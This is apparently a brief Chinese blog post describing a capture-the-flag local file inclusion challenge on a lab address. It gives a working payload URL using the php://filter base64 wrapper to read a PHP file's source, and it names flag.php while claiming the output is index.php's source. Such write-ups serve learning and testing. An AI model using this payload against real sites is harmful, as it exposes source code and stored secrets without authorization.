文件包含

来源:互联网 发布:linux7安装mysql 编辑:程序博客网 时间:2024/04/17 07:59

文件包含

关于文件包含 。题目是一个LFI的漏洞。访问连接 http://192.168.139.231/web30/include/index.php 这就是一个典型的文件包含的漏洞

遇到了这样的文件包含漏洞,就可以使用 filter 的方式读取php的源代码了。用法如下:

http://192.168.139.231/web30/include/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

网页返回的就是index.php的源代码的base64编码

0 0
原创粉丝点击